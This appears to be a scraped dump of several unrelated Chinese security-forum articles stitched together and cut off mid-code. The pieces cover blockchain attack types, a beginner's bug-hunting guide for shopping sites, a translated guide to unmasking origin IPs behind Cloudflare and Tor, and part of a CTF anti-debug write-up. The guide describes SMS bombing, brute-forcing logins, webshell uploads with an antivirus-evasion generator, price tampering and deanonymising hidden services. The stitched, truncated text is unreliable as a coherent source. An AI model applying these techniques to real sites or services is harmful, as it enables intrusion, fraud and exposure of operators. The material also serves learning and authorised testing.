虽然应用程序一般都会对URL输入进行过滤，但是很多代码库仍然会直接去处理重定向链接，因为不同的重定向链接会展现出不同的行为模式。比如说，Rumblr的URL预览功能只支持HTTP协议，但是它也支持指向FTP服务的重定向链接。
而且某些客户端所做的不仅仅是简单地去下载一个页面，它们还会给用户呈现页面并执行其中包含的JavaScript代码，而这种行为将会暴露非常大的攻击面。
你可以从上图的汇总结果中看到，其中有两个无法识别的JavaScript属性-'parity'和'System'，这两个属性已经被注入到了网站中并负责发起以太币转账操作。这些无法识别的JavaScript属性其实是非常有用的，比如说我们可以利用'parity'属性来窃取用户“加密货币钱包”的公钥，而这种独一无二的密钥可以帮助我们查看用户的余额或窃取其中的加密货币。
**五、总结**
****
近些年来，越来越多的企业和组织设立了自己的漏洞奖励计划，而这也间接导致了一种新型的研究方式出现，我们现在甚至可以在十五分钟之内对成千上万服务器进行测试以验证某种新型的攻击技术。而我正是利用了这种方法发现了反向代理中存在的问题将有可能导致严重的安全漏洞出现，并在这一过程中获得了三万三千美刀的漏洞奖金。为了更好地实现纵深防御，反向代理应该受到增强型防火墙的保护，并尽可能地与公共访问进行隔离。
在本系列文章中，我们给大家演示了如何去发现那些隐藏在后台的后端系统/服务，并深入了解了这些隐藏系统的运行机制。虽然这些隐藏系统中的安全问题不会给服务带来严重的灾难，但它们的确暴露出了非常广阔的攻击面。当然了，真正的攻击者肯定不会放过这些攻击面，而此时目标网站的服务可就摇摇欲坠了。
本系列文章到此终于结束了，希望文章内容可以给大家平时的渗透测试带来一些灵感和启发，毕竟信息安全领域的人需要的是各种发散性的思维，希望可以帮到大家。
注：欢迎感兴趣或有能力的用户给 **Collaborator Everwhere**
【[GitHub](https://github.com/PortSwigger/collaborator-everywhere)】以及
**Hackability**
【[GitHub](https://github.com/PortSwigger/hackability)】这两款开源工具贡献代码。 | 社区文章 |
# 区块链安全入门笔记（八） | 慢雾科普
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着越来越的人参与到区块链这个行业中来，为行业注入新活力的同时也由于相关知识的薄弱以及安全意识的匮乏，给了攻击者更多的可乘之机。面对频频爆发的安全事件，慢雾特推出区块链安全入门笔记系列，向大家介绍区块链安全相关名词，让新手们更快适应区块链危机四伏的安全攻防世界！
## 短地址攻击 Short Address Attack
短地址攻击(Short Address Attack)是针对以太坊上 ERC20 智能合约的一种攻击形式，利用的是 EVM
中的对于输入字节码的自动补全机制进行攻击。
一般而言，针对 ERC20 合约中的 transfer 函数的调用，输入的字节码位数都是 136 字节的。当调用 ERC20 中的 transfer
函数进行 ERC20 Token 转账时，如果攻击者提供的地址后有一个或多个
0，那么攻击者就可以把地址后的零省去，提供一个缺位的地址。当对这个地址转账的时候，比方说转账 100 的 A
Token，然后输入的地址是攻击者提供的缺位地址，这时候，经过编码输入的数据是 134 字节，比正常的数据少了 2 字节，在这种情况下，EVM
就会对缺失的字节位在编码数据的末尾进行补 0 凑成 136 字节，这样本来地址段缺失的 0 被数据段的 0 补齐了，而由于给地址段补 0，数据段会少
0，而数据段缺失的 0 由 EVM 自动补齐，这就像数据段向地址段移动补齐地址段缺失字节位，然后数据段缺失的字节位由 EVM 用 0
补齐。这种情况下，转账金额就会由 100 变成 100 * 16 的 n 次方，n 是地址缺失的 0
的个数。通过这种方式，攻击者就能对交易所或钱包进行攻击，盗窃交易所和钱包的资产。
慢雾安全团队建议交易所和钱包在处理转账的时候，要对转账地址进行严格的校验，防止短地址攻击的发生。详情可参考：[遗忘的亚特兰蒂斯：以太坊短地址攻击详解](https://mp.weixin.qq.com/s/LLCpIC54MksMmYjIDKPmPQ)
## 假币攻击 Fake Token Attack
假币攻击(Fake Token Attack)，是针对那些在创建官方 Token 时采用通用创建模版创建出来的代币，每个 Token
的识别仅根据特定的标记进行识别，如 EOS 官方 Token 的识别标记是 “eosio.token”合约，波场的 TRC10 的识别标记是
tokenid，以太坊的 ERC20 是用合约地址作为识别标记。那么这样就会出现一个问题，如果收款方在对这些 Token 进行收款的时候没有严格校验这些
Token 特有的标记，攻击就会发生，以 EOS 为例子，由于 EOS 官方 Token 采用的是合约来发行一个名为 EOS 的 Token，标记 EOS
本身的标识是 “eosio.token” 这个发行帐号，如果在接受转账的时候没有校验这个标识，攻击者就能用其他的帐号同样发行一个名为 EOS 的
Token，对交易所或钱包进行假币充值，换取真的代币。
2019 年 4 月 11 日，波场 Dapp TronBank 1 小时内被盗走约 1.7 亿枚 BTT（价值约 85 万元）。监测显示，黑客创建了名为
BTTx 的假币向合约发起“ invest ”函数，而合约并没有判定发送者的代币 id 是否与 BTT 真币的 id 1002000 一致。因此黑客拿到真币
BTT 的投资回报和推荐奖励，以此方式迅速掏空资金池。对此，交易所和钱包在处理转账的时候，切记要严格检验各种代币各种标识，防止假币攻击。
## 整型溢出攻击 Integer Overflow Attack
数据的存储是区块链上重要的一环。但是每个数据类型本身是存在边界的，例如以太坊中 uint8 类型的变量就只能存储 0～255
大小的数据，超过了就存不下了。那么如果要放一个超过数据类型大小的数字会怎样呢？例如把 256 存进 uint8 的数据类型中，数据显示出来会变成
1，而不是其他数值，也不会报错，因为 uint8 本身能存一个 8 位二进制数字，最大值为 11111111，如果这个时候加 1，这个二进制数就变成了
100000001，而因为数据边界的关系，只能拿到后 8 位，也就是 00000001，那么数字的大小就变成 1
了，这种情况我们称为上溢。有上就有下，下溢的意思就是一个值为 0 的 uint8 数据，如果这个时候对它进行减 1
操作，结果会变成该数据类型所能存储的最大值加 1 减去被减数，在这个例子中是
255，也就是该数据类型所能存储的最大值。那么如果上述两种情况发生在智能合约当中的话，恶意用户通过下溢的操作，操纵自己的帐号向其他帐号发送超过自己余额数量的代币，如果合约内没有对余额进行检查，恶意用户的余额就会下溢出变成一个超大的值，这个时候攻击者如果大量抛售这些代币，就能瞬间破坏整个代币的价值系统。
慢雾安全团队建议所有的智能合约开发者在智能合约中对数据进行操作的时候，要严格校验数据边界，防止整形溢出攻击的发生。详情可参考：[BEC
智能合约无限转币漏洞分析及预警](https://mp.weixin.qq.com/s/KLTSlOUVT27e0d1z-blJ7g)。
## 条件竞争攻击 Race Condition
条件竞争(Race
Condition)攻击的方式很多样，但是核心的本质无非是对某个条件的状态修改的竞争，如上期介绍的重入漏洞，也是条件竞争的一种，针对的是用户余额这个条件进行竞争，只要用户的余额没有归零，用户就能一直提走智能合约的钱。这次介绍的条件竞争的例子是最近发生的著名的
Edgeware 锁仓合约的拒绝服务漏洞，详情可参考：[关于 Edgeware
锁仓合约的拒绝服务漏洞](https://mp.weixin.qq.com/s/qpjAuWqKh9BgcanFiHZiqg)。这个漏洞问题的本质在于对新建的锁仓合约的余额的这个条件进行竞争。攻击者可以监控所有链上的锁仓请求，提前计算出锁仓合约的地址，然后向合约地址转账，造成锁仓失败。在官方没有修复之前，要防止这种攻击，只能使用比攻击者更高的手续费让自己的锁仓交易先行打包，从而与攻击者形成竞争避免攻击。最后，官方修复方案为不对锁仓合约的余额进行强制性的相等检查，而是采用大于等于的形式，避免了攻击的发生。
慢雾安全团队建议智能合约的开发者在智能合约中对某些状态进行修改的时候，要根据实际情况充分考虑条件竞争的风险，防止遭受条件竞争攻击。 | 社区文章 |
# 说在前面
**本文针对人群**
：很多朋友们接触安全都是通过书籍；网上流传的PDF；亦或是通过论坛里的文章，但可能经过了这样一段时间的学习，了解了一些常见漏洞的原理之后，对于漏洞挖掘还不是很清楚，甚至不明白如何下手...
可能你通过 sql-labs 初步掌握了sql注入，亦或是你通过 upload-labs 初步掌握了文件上传，或者你通过 DVWA
的学习初步掌握了其他一些常见漏洞。
但是他们都有一个弊端是： **你已经知道这个地方有漏洞，甚至你知道是什么类型的漏洞，你只要想办法利用这个漏洞就可以了**
但是在进行漏洞挖掘的时候： **你往往不知道哪个地方有漏洞，或者说你不知道这个地方可能存在什么漏洞**
这个时候你可能需要看一下 **乌云镜像站** （大家可自行百度，谷歌）...通过一些前辈们的漏洞挖掘报告来了解一下：
**你所掌握的漏洞的常见触发点在哪，或者说一个网站哪些地方具有漏洞**
因为挖掘 SRC 不仅需要收集全面的资产，而且很多网站都有各式各样的 waf
，对于刚接触漏洞挖掘的朋友们来说就不是那么友好，所以对于刚接触漏洞挖掘的朋友们来说，在挖掘 SRC 之前，很多人都是从
[补天](https://www.butian.net/); [漏洞盒子](https://www.vulbox.com/);
[先知](https://xianzhi.aliyun.com/productitem/index.htm#/home) 慢慢走过来的。
问：为什么要选择商城型网站的挖掘？
答：商城在日常的使用中比较普及（应该没有人没有用过淘宝吧...），功能点相对来说比较多，而且我们比较熟悉网站的功能点，一是不用去很麻烦的寻找网站的功能点，毕竟大家平常都要购物。二是商城的功能点相比于一些静态网站要多很多，因此可能产生的漏洞会相对较多，故而挖掘到漏洞的几率也会提升。
问：这样的网站从哪里找到呢？
答：站长之家，谷歌高级语法搜索等
由于很多大佬往往在进行漏洞挖掘的过程中，都是凭借自己写的小工具，或者是直接凭借累积的经验对功能点进行定向的漏洞挖掘。这样的高效率漏洞挖掘显然不适合一些刚接触漏洞挖掘的朋友们，那么本文中我们就先抛开这些大佬们的工具。通过正常的购物流程来对商城进行漏洞挖掘，以大家日常的生活方式挖出漏洞。
**因为一些特殊原因，本文就拿 淘宝 做例子来演示以购物流程来进行漏洞挖掘。本文涉及到的漏洞在淘宝中均不存在，但大家可以自行根据文章内容举一反三**
# 登录过程
## 注册账号
### 啰嗦几句
在注册账号的时候，如果你不想因为你随手发出去的表单，而导致你的电话被打爆，可以使用一些在线接收短信的平台进行手机注册...（血和泪的教训
因此在这里提供以下几个常用的短信接码平台
[免费接收短信](http://www.smszk.com/)
[Z-SMS](http://www.z-sms.com/)
[GetFreeSMSNumber](https://getfreesmsnumber.com/)
[Free Online Phone](https://www.freeonlinephone.org/)
[10分钟邮箱 ](http://mail.bccto.me/)
[临时邮箱、临时电子邮箱、24小时邮箱](http://24mail.chacuo.net/)
### 短信轰炸
在进行用户注册时存在发送短信的界面。发现 **发送短信时不需要输入验证码才能发送** ，且 **不限制发送的验证码的次数** ，或
**发送验证码时存在绕过**
绕过姿势：[挖洞技巧：绕过短信&邮箱轰炸限制以及后续](https://www.anquanke.com/post/id/93878)
**可根据现有情景自行使用绕过姿势**
### 任意用户注册
* 打开方式一
偶遇过一个上古网站，注册账户时，并没有对注册的账户的手机号或者邮箱做出限制。
* 打开方式二
在进行用户注册的时候发送短信，抓包，发现包里直接有验证码
但是通常可能验证码会经过base64等编码手段进行编码，解码后也可直接获得验证码
* 打开方式三
发现发送了一个验证码之后，后端没有限制输入错误的次数或者没有限制输入的时间
那么我们可以直接使用burpsuite里面的爆破模块进行爆破，可以直接爆破成功
**可根据现有情景自行使用绕过姿势**
### URL跳转
发现淘宝登陆界面的URL为
`https://login.taobao.com/member/login.jhtml?redirectURL=https%3A%2F%2Fwww.taobao.com`
更改`redirectURL`参数后的值为你想恶意跳转到的URL,如： `https://www.baidu.com/`
登陆成功后可跳转到百度页面
绕过姿势：[分享几个绕过URL跳转限制的思路](https://www.anquanke.com/post/id/94377)
**可根据现有情景自行使用绕过姿势**
## 忘记密码
### 短信轰炸
参考注册账号时的短信轰炸
### 任意密码重置
参考任意用户注册进行验证码的Bypass
此外：还可以参考 [任意用户密码重置的10种姿势](https://www.jianshu.com/p/f1dbd4482cc0)
## 登录界面
### 暴力破解
经过对网站的测试，发现对登录次数失败没有限制，也没有验证码的限制，因此可以直接burpsuite跑大型字典，从而暴力破解账号密码
提供以下几个生成字典方式
* Github上有很多收集好的字典
<https://github.com/rootphantomer/Blasting_dictionary>
更多的可以在Github上自行寻找
* 可能你需要生成一些特殊定制的
[在线生成地址一](https://www.itxueke.com/tools/pass/#)
[在线生成地址二](http://xingchen.pythonanywhere.com/index)
* 下面的py脚本你也可以尝试使用
**pydictor** [下载地址](https://github.com/LandGrey/pydictor)
[使用指南](https://www.ddosi.com/b172/)
* somd5 提供的字典：
<https://www.somd5.com/download/dict/>
### 越权
越权是个比较抽象的东西，在这里因为篇幅的原因就不展开论述了
具体可以参考：
[我的越权之道-小川](https://wooyun.js.org/drops/%E6%88%91%E7%9A%84%E8%B6%8A%E6%9D%83%E4%B9%8B%E9%81%93.html)
[【技术分享】聊聊越权那些事儿](https://www.anquanke.com/post/id/84892)
# 进入商城
## 反射型XSS
进入商城之后当然是挑选物品，因此在搜索框可能存在反射型xss
绕过姿势推荐：
五道口杀气 ——》 [Bypass
xss过滤的测试方法](https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html)
心伤的瘦子
——》[心伤的瘦子系列教程](https://shuimugan.com/bug/index?BugSearch%5Bbug_no%5D=&BugSearch%5Btitle%5D=&BugSearch%5Bvendor%5D=&BugSearch%5Bauthor%5D=%E5%BF%83%E4%BC%A4%E7%9A%84%E7%98%A6%E5%AD%90&BugSearch%5Bbug_type%5D=&BugSearch%5Bbug_level_by_whitehat%5D=&BugSearch%5Bbug_level_by_vendor%5D=&BugSearch%5Brank_by_whitehat%5D=&BugSearch%5Bbug_date%5D=&page=1)
**此外：测试 XSS 就不要放过每一个搜索框，有一些商城中经常被遗漏过滤的一些地方**
比如曾经我挖到某站点这类相对隐蔽的搜索框
**可根据现有情景自行使用绕过姿势**
## 存储型 XSS
在个人资料处可能存在存储型 XSS
**特别是在个人地址栏，因为可能手机信息要求必须是数字，邮箱格式必须是数字+字母，但是个人地址栏往往没有做出太多的过滤**
比如我曾在补天挖到关于个人地址栏的存储型XSS,都是几乎没有过滤的
## CSRF
与XSS对应的，在商城内部同样可能存在 CSRF
但由于现在大多数网站都具备了 CSRF token ，且验证了 referer
CSRF的分析和利用在 DVWA 靶场已经从 Low，Mediun， High， Impossible 几种难度阐述了 CSRF
的分析和利用，已经很详细了,而且红日安全团队出的文章已经很详细了 ——[[红日安全]Web安全Day3 -CSRF实战攻防](https://xz.aliyun.com/t/6128)
还有一些绕过姿势,如 [Bypassing CSRF Protection](https://medium.com/swlh/bypassing-csrf-protection-c9b217175ee) ——》先知有了翻译文章 [绕过CSRF防御](https://xz.aliyun.com/t/6176)
具体还是参考乌云吧 ——》
[乌云漏洞库之CSRF](https://shuimugan.com/bug/index?BugSearch%5Bbug_no%5D=&BugSearch%5Btitle%5D=&BugSearch%5Bvendor%5D=&BugSearch%5Bauthor%5D=&BugSearch%5Bbug_type%5D=CSRF&BugSearch%5Bbug_level_by_whitehat%5D=&BugSearch%5Bbug_level_by_vendor%5D=&BugSearch%5Brank_by_whitehat%5D=&BugSearch%5Bbug_date%5D=&page=1)
## 上传头像获得shell
这里没办法进行云演示了...
上传漏洞的小结可以参考我的博客 ——》 [通过 Upload-labs
掌握文件上传漏洞](https://p2hm1n.github.io/2019/07/30/Upload-labs-Writeup/#more)
同时推荐大家一个Google的插件——》Wappalyzer
> Wappalyzer 是一款可以用来识别 WEB 网站所使用的建站程序以及使用了哪些相关技术的工具的谷歌浏览器扩展插件。看到好的网站可以通过
> Wappalyzer 识别网站所用的所有技术，可以对网站搭建起到不错的参考作用。
利用上传漏洞时， **根据相应的中间件漏洞组合** ，也可能能实现巧妙的绕过效果 ——》
[Web中间件常见漏洞总结](https://www.freebuf.com/articles/web/192063.html)
可能你的webshell会被杀掉？
这里推荐 Github上的一个项目
——》[免杀webshell无限生成工具(利用随机异或无限免杀D盾)](https://github.com/yzddmr6/webshell-venom)
# 购买物品
## 修改价格
表示自己曾经也能买得起面包机
具体有几方面：第一是在购买产品过程中修改产品数量、价格；第二是在支付时修改总价格或者优惠价格；第三是直接修改充值价格
直接修改充值价格的极其罕见，这里给出乌云的一个案例 ——》
[顺丰宝业务逻辑漏洞](https://shuimugan.com/bug/view?bug_no=2272)
由于这个漏洞比较罕见，所以这里补充一些乌云案例供大家参考 ——》 [乌云案例-支付逻辑漏洞](http://www.anquan.us/search?keywords=%E6%94%AF%E4%BB%98%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E&content_search_by=by_bugs)
## 存储型 XSS
问：不是之前已经写过个人资料处的存储型 XSS 吗，为什么这里还要在写一遍？
答：可能有的网站注意过这个问题，在个人资料那个入口已经做出了过滤，但是在购买物品时添加的地址确没有做出过滤
比如曾经在对某网站测试的时候，发现个人信息的地址栏对输入的payload做出了过滤，但是在购买物品重新添加地址的时候，代码没有对其做出过滤，因此导致了存储型
XSS
# SQL注入
之所以把sql注入给单独列出来，是因为sql注入的触发点真的太多了， **增 删 改 查**
，一切与数据库交互的地方都有可能进行sql注入。从注册账号，到购买物品的完成。每一个GET，POST的参数都可能存在sql注入，所以大家测试的时候需要足够的耐心和细心。我曾经就有只单独对我认为在网页上有回显的参数进行测试的坏习惯，因此遗漏了挺多测试的点，所以希望大家不要toulan的忽略掉一些参数。
关于sql注入的篇幅也是巨大的，针对不同数据库的特性绕过方式也是千奇百怪，这里也不详细展开论述了
博客里写了一些sql注入的payload和一些常见绕过 ——》
[SQL注入一把梭](https://p2hm1n.github.io/2019/06/07/SQL%E6%B3%A8%E5%85%A5%E4%B8%80%E6%8A%8A%E6%A2%AD/#more)
# 写在最后
问：商城就只有这些漏洞吗？
答：当然不是的，可能的还有很多很多，本文仅购物流程一个思路进行漏洞挖掘，只给那些练习完靶场，但是不知道如何对一个网站下手的朋友们提供一个小思路。可以进行延伸的方面也还有很多。
问：为什么你的漏洞都没有绕过？
答：绕过需要看当时的过滤以及当时的条件，环境等，所以由于篇幅的原因没有展开论述，本文意在提供思路进行挖掘，但在每个漏洞下面都提供了一些bypass不错的思路的文章链接
本文只以购买物品整个流程一个思路来进行漏洞的挖掘，只是片面的，可以进行漏洞挖掘的面还很广，挖掘思路也很多。只是根据人们日常生活操作来挖掘漏洞比较的通俗易懂，也好入手，很适合漏洞挖掘的新手挖洞。在进行购物流程中，文中有没有提到的欢迎各位师傅补充，有好的思路也请师傅们不吝赐教，有不足之处也望批评指正。
**本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。** | 社区文章 |
本文译自：<https://www.secjuice.com/finding-real-ips-of-origin-servers-behind-cloudflare-or-tor/>
作者:[Paul Dannewitz](https://www.secjuice.com/author/paul-dannewitz/)
本文对隐藏了IP的服务器寻找真实源IP提供了一些思路和方法，工具主要使用Censys
## 寻找CloudFlare和TOR背后的真实源IP
隐藏服务(Hidden
services)，CloudFlare的效用，或者任何类似的服务的需求都源自隐藏原始服务器IP。但是一个小的错误会导致暴露IP。这可以让攻击者直接攻击使用了CloudFlare的网站(绕过WAF，速率限制，DDOS防护等等)甚至解除隐藏使用了TOR隐藏服务了的操作者身份。错误取决于您使用的服务或技术类型，并非所有方法都适用于每种技术(例如，TOR隐藏服务不存在MX
record)
> 注：
>
> 这里补充一下TOR的Hidden
> services，Tor除了提供客户端的匿名访问外，还可以为服务器提供匿名服务。通过使用Tor网络，用户可以维护位置不可知的服务器。这些服务器所构成的网络被称为
> "Tor Hidden
> Services"，信息界又称为[暗网](https://zh.wikipedia.org/wiki/%E6%9A%97%E7%BD%91)。暗网里双方互不知IP地址。Tor隐藏服务由于不需要公开的IP地址，服务就可以躲在防火墙和NAT背后。
>
> DNS MX record即邮件交换记录(mail exchanger record)
> 。用于将以该域名为结尾的电子邮件指向对应的邮件服务器以进行处理。如：用户所用的邮件是以域名mydomain.com为结尾的，则需要在管理界面中添加该域名的[MX记录](https://www.baidu.com/s?wd=MX%E8%AE%B0%E5%BD%95&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)来处理所有以@mydomain.com结尾的邮件。
### 1 SSL证书
#### 1.1使用给定的域名
假如您在xyz123boot.com上主持一项有争议的服务。 您的原始服务器IP是136.23.63.44。
CloudFlare为您提供DDoS防护，Web应用程序防火墙和其他一些服务用以保护您的项目免受希望您的项目挂掉的人们的影响。
您的Web服务器支持SSL并具有证书，因此CloudFlare与您的服务器之间的通信就像您的用户和CloudFlare之间的通信一样被加密（即不是Flexible
SSL）。 其他一切都只是安全的错觉，到现在为止还挺好。
> 注：在CDN设置页面中可以开启CloudFlare的免费SSL服务，默认是Flexible
> SSL，即您的用户到CloudFlare的连接是加密的，但是CloudFlare到您服务器的连接是不加密的
问题是，当在端口443（<https://136.23.63.44:443）> 上直接连接到您的IP时，您也会暴露SSL证书。
扫描0.0.0.0/0，整个互联网，在端口443上获取对xyz123boot.com有效的证书，将向攻击者提供您的Web服务器IP。
[Censys](https://censys.io/)正在为您扫描。 您唯一需要做的就是将上述单词中描述的搜索词转换为实际的搜索查询。
xyz123boot.com的证书：`parsed.names：xyz123boot.com`
只显示有效的：`tags.raw：trusted`
在Censys上组合多个参数可以通过使用简单的布尔逻辑来完成。(<https://www.censys.io/certificates/help>)
搜索条目：`parsed.names：xyz123boot.com和tags.raw：trusted`
Censys将向您显示在扫描中找到的符合上述标准的所有证书
逐个单击搜索结果，您可以通过单击右侧的“Explore”打开包含多个工具的下拉列表。
选择`What's using this certificate?` > `IPv4 Hosts`.
您将看到使用特定证书的IPv4主机列表。 其中一个可能是源IP。
您可以通过IP的443端口来验证。它是否重定向到xyz123boot.com？ 它是否直接显示网站？
#### 1.2使用给定的SSL证书
假如你是FBI，想要关闭一个在cheesecp5vaogohv.onion下可用的儿童色情隐藏服务。为了做到这一点，你需要原始IP，这样你就可以联系主机，并且可能还通过追踪资金来查找操作者。
隐藏的服务具有SSL证书。 查找使用相同证书的IPv4主机只需将其SHA1指纹（不带冒号)粘贴到[Censys
IPv4主机搜索](https://www.censys.io/ipv4)中即可。使用此方法可以轻松找到配置糟糕的Web服务器。
### 2\. DNS 记录
在遭受多次攻击后，您决定开始使用CloudFlare。 像Censys for DNS records这样的数据驱动服务仍然有旧的 **A record**
指向您的Web服务器IP地址。
这样做的平台是[SecurityTrails](https://securitytrails.com/)。
只需在搜索字段中输入网站域名，然后按Enter键即可。 “Historical Data”可以在左侧的侧栏中找到。
除了旧的 **A record** ，即使是当前的DNS记录也可能泄漏原始服务器IP。 例如，MX record是查找IP的常用方法。
如果网站在与服务器相同的服务器和IP上托管自己的邮件服务器，则源服务器IP将在MX record中。
> 注：关于A Records：<https://support.dnsimple.com/articles/a-record/>
>
> 简单讲A 记录是用来指定主机名（或域名）对应的IP地址记录，是用于名称解析的重要记录。
### 3.HTTP头
借助数据驱动的平台，任何人都可以对大量数据进行强大的搜索，甚至可以通过比较HTTP头来查找原始服务器。
特别是当拥有一个非常独特的服务器头带有各种软件包括子版本，这样找到你变得更容易。
这也不限于单个参数。 如1.1中所述，您可以在Censys上组合搜索参数。 使用此方法找到的可能性随着您发送的
**每个不太常见的头部key或value而增加** 。
假设您正在与1500个其他Web服务器共享您的服务器HTTP头，这些服务器正在发送相同的头key和value组合。
您还使用新的PHP框架发送唯一的HTTP标头（例如：X-Generated-Via：XYZ Framework）。
目前约有400名网站管理员在生产中使用该框架。 交叉点由最终三个服务器组成。 手动完成这些操作需要几秒钟，你就找到了IP。
例如，Censys上用于匹配服务器头的搜索参数是`80.http.get.headers.server`：
查找由CloudFlare提供服务的网站方法如下：
`80.http.get.headers.server: cloudflare`
### 4.应用及服务
使用TOR隐藏服务或是通过CloudFlare提供服务的网站也是一个普通的网站。 一个快速的测试也可以揭示IP。
像HTTP服务器头之类的头部可用于查找正在使用的服务和版本的可能漏洞。 当获得对服务器的访问权限时，您显然可以轻松找到IP。
另一种尝试是找到触发错误的边缘情况。 错误消息可以显示敏感信息。 这些信息可以只是IP本身，也可以是任何可以用作此处描述的其他方法的参数的信息。
这些尝试是具有创造性的，可以进行侦察和组合使用。
每一个测试都应在侦察阶段运行[gobuster](https://github.com/OJ/gobuster)来查找文件和目录。您可以找到的是日志、数据库转储/备份等等。
此外，值得一试的是找出可以使应用程序让网站与其他服务进行交互的方式。 如果您不是NSA，如果他们只是在使用API，您可能无法获得IP。
但作为一个例子，也许你可以在网站上设置一个头像并提供图片的URL而不是上传它。 如果他们正在下载它，他们可能是从他们的原始服务器进行的。
现在IP在您的日志中。
这只是一个快速概述。 你可以做通常做的所有测试技巧的很大一部分，并且网站管理员可能会犯很多错误。
### 5.内容
如果原始服务器IP也返回网站的内容，那么相当于你得到了大量在网上可搜索的数据。
浏览网站源代码，您需要寻找 **独特的代码片段** 。 在JavaScript中使用带有access/identifier
keys的第三方服务（例如Google Analytics，reCAPTCHA）是一个不错的开始。
从[HackTheBox](https://www.hackthebox.eu/)网站获取的Google Analytics跟踪代码示例：
`ga('create', 'UA-93577176-1', 'auto');`
可以使用参数`80.http.get.body：`来完成按 body/source 过滤Censys数据。
不幸的是，普通搜索字段有局限性。 您可以在[Censys](https://support.censys.io/getting-started/research-access-to-censys-data)上请求研究访问，这样您就可以通过Google
BigQuery进行更强大的查询。
Shodan是一种类似于Censys的服务，也提供了`http.html`搜索参数。
搜索示例：
<https://www.shodan.io/search?query=http.html%3AUA-32023260-1>
### 参考资料
https://en.wikipedia.org/wiki/Tor_(anonymity_network)#Hidden_services
https://support.dnsimple.com/articles/a-record/
http://www.chinaz.com/web/2015/0121/379846.shtml
https://zhidao.baidu.com/question/1691539939903827828.html | 社区文章 |
main函数：
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD v4[28]; // [esp-6Ch] [ebp-F8h] BYREF
_DWORD *v5; // [esp+4h] [ebp-88h]
_DWORD *v6; // [esp+8h] [ebp-84h]
int v7; // [esp+Ch] [ebp-80h]
char v8[108]; // [esp+10h] [ebp-7Ch] BYREF
int v9; // [esp+88h] [ebp-4h]
if ( sub_40EF90() )
return 1;
sub_4026C0(0x6Cu);
sub_401FE0(v4[27], v5);
v9 = 0;
v6 = v4;
sub_40F360(v8);
sub_40F080(v4[0], v4[1]);
v5 = v4;
sub_40F360(v8);
sub_40F150(argc, (int)argv);
v7 = 0;
v9 = -1;
sub_4021C0(v8);
return v7;
}
首先调用`sub_40EF90`进行check：
BOOL sub_40EF90()
{
HANDLE v0; // eax
NTSTATUS (__stdcall *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); // [esp+0h] [ebp-14h]
HMODULE hModule; // [esp+4h] [ebp-10h]
int v4; // [esp+Ch] [ebp-8h] BYREF
v4 = 0;
hModule = LoadLibraryA("Ntdll.dll");
NtQueryInformationProcess = (NTSTATUS (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hModule, "NtQueryInformationProcess");
v0 = GetCurrentProcess();
NtQueryInformationProcess(v0, ProcessDebugPort, &v4, 4, 0);
return v4 != 0;
}
搜了一下官方文档，发现ProcessDebugPort就是用来检测程序是否处于调试状态的:
这里crack很简单，动态调试单步来到这个位置，这里是压入三个参数的，一般就是main函数的入口了：
call完EF90之后会有个关键跳，这里jmp实现的话就直接退出程序了，直接nop掉jmp即可：
Patch完之后重新载入x64dbg，此时就可以正常调试了：
当然了这个调试状态检测我们是可以绕过的，因为是在检测调试之后再执行真正的代码，所以可以先直接运行程序，然后用附加程序，这时候程序已经运行到输入flag的位置了，附加时已经过了检测函数，所以也可以正常进行调试：
往下来到sub_401FE0，发现有个`EASYRE::vftable`虚函数表，然后往下对内存进行赋值，总共20个字节，往下还有个内存复制，也是20个字节：
_DWORD *__thiscall sub_401FE0(_DWORD *this)
{
int i; // [esp+4h] [ebp-14h]
*this = &EASYRE::`vftable';
this[1] = 0;
*((_BYTE *)this + 52) = 8;
*((_BYTE *)this + 53) = 0xEA;
*((_BYTE *)this + 54) = 0x58;
*((_BYTE *)this + 55) = 0xDE;
*((_BYTE *)this + 56) = 0x94;
*((_BYTE *)this + 57) = 0xD0;
*((_BYTE *)this + 58) = 0x3B;
*((_BYTE *)this + 59) = 0xBE;
*((_BYTE *)this + 60) = 0x88;
*((_BYTE *)this + 61) = 0xD4;
*((_BYTE *)this + 62) = 0x32;
*((_BYTE *)this + 63) = 0xB6;
*((_BYTE *)this + 64) = 0x14;
*((_BYTE *)this + 65) = 0x82;
*((_BYTE *)this + 66) = 0xB7;
*((_BYTE *)this + 67) = 0xAF;
*((_BYTE *)this + 68) = 0x14;
*((_BYTE *)this + 69) = 0x54;
*((_BYTE *)this + 70) = 0x7F;
*((_BYTE *)this + 71) = 0xCF;
qmemcpy(this + 18, " 03\"3 0 203\" $ ", 20);
sub_4030A0(this + 23);
sub_402DE0(this + 26);
for ( i = 0; i < 40; ++i )
*((_BYTE *)this + i + 12) = 0;
return this;
}
字符串定位到`sub_40F150`，传入的`flag`通过`sub_4024B0`进行校验，条件成立才能输出Congratulations:
int sub_40F150(int a1, int a2, ...)
{
int v2; // eax
int v3; // eax
int result; // eax
int v5; // eax
int v6[10]; // [esp+Ch] [ebp-38h] BYREF
int v7; // [esp+40h] [ebp-4h]
va_list va; // [esp+54h] [ebp+10h] BYREF
va_start(va, a2);
v7 = 0;
v6[0] = 0;
v6[1] = 0;
v6[2] = 0;
v6[3] = 0;
v6[4] = 0;
v6[5] = 0;
v6[6] = 0;
v6[7] = 0;
v6[8] = 0;
v6[9] = 0;
v2 = sub_40F5B0(std::cout, "Please input your flag : ");
std::ostream::operator<<(v2, sub_40F8F0);
sub_40F930(std::cin, flag);
if ( sub_4024B0(flag) )
{
v3 = sub_40F5B0(std::cout, &unk_4122F0); // Congratulations
std::ostream::operator<<(v3, sub_40F8F0);
v7 = -1;
sub_4021C0(va);
result = 1;
}
else
{
v5 = sub_40F5B0(std::cout, &unk_41231C); // I'm sorry
std::ostream::operator<<(v5, sub_40F8F0);
v7 = -1;
sub_4021C0(va);
result = 0;
}
return result;
}
`sub_4024B0`，虚函数调用的特征：
BOOL __thiscall sub_4024B0(_DWORD *this, int flag)
{
BOOL result; // eax
this[2] = flag;
result = 0;
if ( (*(int (__thiscall **)(_DWORD *))(*this + 0xC))(this) )
{
